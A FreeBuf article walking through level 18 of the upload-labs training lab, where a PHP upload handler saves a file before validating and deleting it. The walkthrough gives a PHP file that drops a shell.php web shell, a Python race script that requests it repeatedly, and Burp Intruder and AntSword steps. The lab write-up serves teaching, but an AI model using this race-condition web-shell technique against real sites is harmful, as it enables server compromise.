freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

分析upload-18关-条件竞争
Vincewoo 2021-10-24 17:12:19 166565

源码分析:

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){ //设置是否提交

$ext_arr = array('jpg','png','gif'); //可以提交后缀名的白名单

$file_name = $_FILES['upload_file']['name']; //上传原文件名 比如18.php

$temp_file = $_FILES['upload_file']['tmp_name']; // 上传之后的临时文件路径 C:\Users\admin\AppData\Local\Temp\phpE47F.tmp

$file_ext = substr($file_name,strrpos($file_name,".")+1);

// strrpos(从原文件名,找到".",取"."和后面的后缀名也就是.php)+1也就是从p的位置开始取,取到php扩展名,下角标是从0开始算起,所以1的位置就是p

$upload_file = UPLOAD_PATH . '/' . $file_name; //UPLOAD_PATH 就是../upload 拼接/再拼接原文件名18.php,最后组成../upload/18.php

if(move_uploaded_file($temp_file, $upload_file)){ //move_uploaded_file 移动文件(将临时文件移动到$upload_file也就是../upload/18.php)

if(in_array($file_ext,$ext_arr)){ //在$ext_arr白名单数组中找$file_ext的后缀名php进行验证,如果存在就走下面,否则走else

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果传递jpg图片是有随机数拼接上当前的详细时间最后图片路径:../upload/4520211024160145.jpg

rename($upload_file, $img_path); //重命名,把../upload/18.jpg重命名为../upload/4520211024160145.jpg

$is_upload = true;

}else{

$msg = "只允许上传.jpg|.png|.gif类型文件!";

unlink($upload_file); //如果不是白名单里的后缀则删除原文件../upload/18.php

}

}else{

$msg = '上传出错!';

}

}


从18关的一波分析来看,后缀必须是.jpg.png.gif才能通过,又不存在文件包含漏洞,但发现这里有个关键点,如果上传的是18.php文件,判断完之后再删除,而且我们也知道上传的路径,则可以再删除之前重新创建新的一个php文件。以下准备18.php内容:


<?php

echo md5(1);

fputs(fopen('shell.php','w'),'');

?>


再准备一个py脚本文件,否则手动请求../upload这个路径的话,效率太慢,可能比不过程序运行速度就已经删掉了18.php文件。exp.py脚本内容如下:


import requests

def main():

i=0

while 1:

try:

print(i,end='\r')

a = requests.get("http://www.upload.test/upload/18.php")

if "c4ca4238a0b923820dcc509a6f75849b" in a.text:

print( "OK")

break

except Exception as e:

pass

i+=1

main()


解析18.php语句:

//首先打开文件,创建shell.php文件把一句话木马写入到shell.php,也就是这一串变形木马,$a=assert;再传递给$a就连成一句话木马assert($_POST[cmd]);

fputs(fopen('shell.php','w'),'');


注意要修改exp.py部分语句:

//这是根据你自己网站上的域名,后面跟上相对路径/upload/18.php,也就是你要上传的文件名

a = requests.get("http://www.upload.test/upload/18.php")


以下步骤要用到Burp Suite抓包工具,首先先上传18.php,浏览器代理开起来,点击上传进行抓包



发送到Intruder模块中,以下步骤图片所示:







最后可以用蚁剑进行连接了。



# 漏洞分析 # 文件上传 # 条件竞争
本文为 Vincewoo 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
奇安信代码卫士
Vincewoo LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 2 关注者
XSS-通关小游戏(1-20)
2021-10-30
独家盘点|快速了解五大漏洞
2021-10-30